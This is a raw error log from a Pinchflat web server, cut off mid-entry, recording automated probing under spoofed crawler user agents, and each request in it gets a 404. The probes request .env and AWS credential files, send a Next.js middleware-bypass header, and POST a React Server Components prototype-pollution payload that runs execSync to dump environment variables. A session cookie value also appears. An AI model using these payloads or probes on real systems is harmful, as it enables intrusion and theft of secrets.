"_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; +https://openai.com/searchbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /static/app/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29940.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static//app/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35114}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; +https://openai.com/searchbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => (truncated) 16:49:11.293 [info] GET /static//.env 16:49:11.294 [debug] QUERY OK source="settings" db=0.0ms idle=13.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.294 [debug] QUERY OK source="settings" db=0.0ms idle=12.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.294 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:11.294 [error] #PID<0.29943.0> running PinchflatWeb.Endpoint (connection #PID<0.29942.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /static//.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /static/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29942.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static//.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35118}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29943.0>, params: %{}, path_info: ["static", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/static//.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61pOps1iMp9QABw0h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29942.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static//.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35118}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /static/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29942.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static//.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35118}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :u (truncated) 16:49:11.333 [info] GET /@fs/root/.aws/credentials 16:49:11.334 [debug] QUERY OK source="settings" db=0.0ms idle=52.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.334 [debug] QUERY OK source="settings" db=0.0ms idle=44.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.334 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:11.334 [error] #PID<0.29945.0> running PinchflatWeb.Endpoint (connection #PID<0.29944.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /@fs/root/.aws/credentials?raw?? ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/root/.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29944.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/root/.aws/credentials", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35134}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29945.0>, params: %{"raw??" => ""}, path_info: ["@fs", "root", ".aws", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"raw??" => ""}, query_string: "raw??", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/@fs/root/.aws/credentials", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61pYL88PdBzsABw1B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29944.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/root/.aws/credentials", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35134}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/root/.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29944.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/root/.aws/credentials", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35134}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src (truncated) 16:49:11.397 [info] POST /api 16:49:11.397 [debug] Could not render errors due to no supported media type in accept header. Expected one of ["html", "json"] but got the following formats: * "text/x-component" with extensions: [] To accept custom formats, register them under the :mime library in your config/config.exs file: config :mime, :types, %{ "application/xml" => ["xml"] } And then run `mix deps.clean --build mime` to force it to be recompiled. . Errors will be rendered using the first accepted format "html" as fallback. Please customize the :formats option under the :render_errors configuration in your endpoint if you want to support other formats or choose another fallback 16:49:11.397 [debug] QUERY OK source="settings" db=0.0ms idle=107.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.397 [debug] QUERY OK source="settings" db=0.0ms idle=103.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.397 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:11.397 [error] #PID<0.29947.0> running PinchflatWeb.Endpoint (connection #PID<0.29946.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: POST /api ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST /api (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29946.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35136}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/x-component", "accept-encoding" => "gzip", "content-length" => "455", "content-type" => "multipart/form-data; boundary=----r2s1f7691ajoq2mg", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "next-action" => "r2s", "user-agent" => "Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-real-ip" => "34.7.214.207" }, method: "POST", body_length: 455, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "0" => "{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null');\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}", "1" => "\"$@0\"" }, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "POST", owner: #PID<0.29947.0>, params: %{ "0" => "{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null');\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}", "1" => "\"$@0\"" }, path_info: ["api"], path_params: %{}, port: 80, private: %{ :plug_multipart => :done, PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "text/x-component"}, {"accept-encoding", "gzip"}, {"content-length", "455"}, {"content-type", "multipart/form-data; boundary=----r2s1f7691ajoq2mg"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"next-action", "r2s"}, {"user-agent", "Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/api", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61pnTapGrLl4ABw1h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29946.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35136}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/x-component", "accept-encoding" => "gzip", "content-length" => "455", "content-type" => "multipart/form-data; boundary=----r2s1f7691ajoq2mg", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "next-action" => "r2s", "user-agent" => "Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-real-ip" => "34.7.214.207" }, method: "POST", body_length: 455, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST /api (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29946.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35136}, bindings: %{}, (truncated) 16:49:11.562 [info] POST /dashboard 16:49:11.562 [debug] Could not render errors due to no supported media type in accept header. Expected one of ["html", "json"] but got the following formats: * "text/x-component" with extensions: [] To accept custom formats, register them under the :mime library in your config/config.exs file: config :mime, :types, %{ "application/xml" => ["xml"] } And then run `mix deps.clean --build mime` to force it to be recompiled. . Errors will be rendered using the first accepted format "html" as fallback. Please customize the :formats option under the :render_errors configuration in your endpoint if you want to support other formats or choose another fallback 16:49:11.563 [debug] QUERY OK source="settings" db=0.0ms idle=268.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.563 [debug] QUERY OK source="settings" db=0.0ms idle=228.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.563 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:11.563 [error] #PID<0.29949.0> running PinchflatWeb.Endpoint (connection #PID<0.29948.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: POST /dashboard ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST /dashboard (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29948.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dashboard", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35142}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: 